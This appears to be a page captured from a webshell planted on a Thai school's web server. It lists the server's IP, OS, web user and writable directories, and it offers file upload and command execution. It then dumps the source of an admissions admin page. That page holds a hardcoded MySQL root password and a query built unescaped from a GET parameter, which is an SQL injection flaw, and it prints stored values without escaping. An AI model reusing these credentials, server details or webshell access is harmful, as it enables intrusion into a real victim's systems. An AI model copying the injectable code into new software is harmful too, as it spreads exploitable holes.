403Webshell
Server IP : 61.19.30.66  /  Your IP : 216.73.216.59
Web Server : Apache/2.2.22 (Ubuntu)
System : Linux klw 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 x86_64
User : www-data ( 33)
PHP Version : 5.3.10-1ubuntu3.48
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/admissions3/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/admissions3/editadmin1.php
<?
	session_start();
	if($_SESSION['idt'] == "")
	{
		echo "Please Login!";
		exit();
	}

	if($_SESSION['Status'] != "ADMIN")
	{
		echo "This page for Admin only!";
		exit();
	}	
	
	mysql_connect("localhost","root","klw3322");
	mysql_select_db("klw");
	mysql_query("SET character_set_results=tis620");//ตั้งค่าการดึงข้อมูลออกมาให้เป็น tis620
	mysql_query("SET character_set_client=tis620");//ตั้งค่าการส่งข้อมุลลงฐานข้อมูลออกมาให้ เป็น tis620
	mysql_query("SET character_set_connection=tis620");//ตั้งค่าการติดต่อฐานข้อมูลให้เป็น tis6
	
	$strSQL = "SELECT * FROM teacher WHERE idt = '".$_SESSION['idt']."' ";
	$objQuery = mysql_query($strSQL);
	$objResult = mysql_fetch_array($objQuery);
?>

<?

require_once "connectdb.php";
require_once "tdate.php";


?>
<html>
<head>
<title>-:- ADMIN -:-</title>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<link href="style.css" rel="stylesheet" type="text/css">
</head>

<body bgcolor="#5A697E"  onLoad="javascript:document.getElementById('useradmin').focus();">
<table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr> 
    <td bgcolor="#003399">
<div align="center"><font color="#FFFFFF" size="+1"><strong>ฝ่ายบริหารงานวิชาการ<font color="#FFFF00">โรงเรียนกันทรลักษ์วิทยา</font></strong></font></div></td>
  </tr>
  <tr> 
    <td bgcolor="#FFFFFF"><table width="100%" border="0" cellspacing="1" cellpadding="1">
        <tr> 
          <td><div align="right"><font color="#ff0000" size="2"><font color="#333333">ยินดีต้อนรับ 
              :</font> <font color="#ff0000"><? echo "<u>$adminname</u>"; ?> 
              <font color="#666666">เข้าสู่ระบบค่ะ </font></font></font></div></td>
        </tr>
        <tr> 
          <td><div align="right"><font color="#666666" size="2"><a href="home.php">หน้าหลักระบบ</a> 
              | <a href="logout.php">ออกจากระบบ</a></font></div></td>
        </tr>
        <tr> 
          <td><div align="center">
              <table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
                
              </table>
              <table width="100%" border="0" align="center" cellpadding="1" cellspacing="1">
                <tr> 
                  <td>&nbsp;</td>
                </tr>
                <tr>
                  <td><div align="center"> 
                           <font size="+1"><strong><font color="#003366" size="2">
                      <?php
						  $sql_1="select * from tpyad where idtpy = '$_GET[id]'";
						  $db_query=mysql_db_query($db,$sql_1);
						  $result1=mysql_fetch_array($db_query);
						  $idmember  =$result1['idtpy'];
						  $name  =$result1['idtpy_name'];
						   $daytest1  =$result1['daytest1'];
						    $daytest2  =$result1['daytest2'];


						 
						   
						$idtpy_status  =$result1['idtpy_status'];

						?>
                      </font></strong></font> </div>
                    <table width="100%" border="0" align="center" cellpadding="1" cellspacing="1">
                      <form method="post" action="editadminsave1.php"  name="webForm" onSubmit="return checkpost()">
                        <tr> 
                          <td width="140"><div align="right"><font color="#333333" size="2">ประเภท
                              :</font></div></td>
                          <td width="355"><font size="3"> 
                            <input name=name id=name type=text class="input" size=100 value='<? echo $name; ?>'>
                            <input type="hidden" name="idmember" value=<? echo "$idmember"; ?>>
                            </font></td>
                             :</font></div></td>
                          
						</tr>
						
						<tr> 
                          <td width="140"><div align="right"><font color="#333333" size="2">ข้อความ
                              :</font></div></td>
                          <td width="355"><font size="2"> 
                            <input name=name1 id=name1 type=text class="input" size=200 value='<? echo $daytest1; ?>'>
                            
                            </font></td>
                             :</font></div></td>
                          
						</tr>

						<tr> 
                          <td width="140"><div align="right"><font color="#333333" size="2">วันที่สอบ
                              :</font></div></td>
                          <td width="355"><font size="2"> 
                            <input name=name2 id=name2 type=textbox class="input" size=200 value='<? echo $daytest2; ?>'>
                            
                            </font></td>
                             :</font></div></td>
                          
						</tr>
						
						
                        
						
						
                        <tr> 
                          <td width="300"><div align="right"><font color="#333333" size="2">สถานะ 
                              :</font></div></td>
                          <td><font size="3">
                            <input name="idtpy_status" type="radio" id="radio1" value="1" <? if($idtpy_status=="1"){echo checked;}?> />
  <label for="radio1">เปิด</label>
  <input name="idtpy_status" type="radio" id="radio1" value="0" <? if($idtpy_status=="0"){echo checked;}?> />
  <label for="radio1">ปิด</label>
  
 
  
                            </font></td>
                        </tr>
                        <tr> 
                          <td>&nbsp;</td>
                          <td><font size="3">
                            <input name="submit" type="submit" class="submit" value="แก้ไขรายการ!">
                            </font></td>
                        </tr>
                      </form>
                    </table></td>
                </tr>
              </table>
            </div></td>
        </tr>
        <tr>
          <td>&nbsp;</td>
        </tr>
      </table></td>
  </tr>
  <tr>
    <td><div align="center"><? echo "<font size=2 color=#ffffff>$footerweb</font>"; ?></div></td>
  </tr>
</table>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit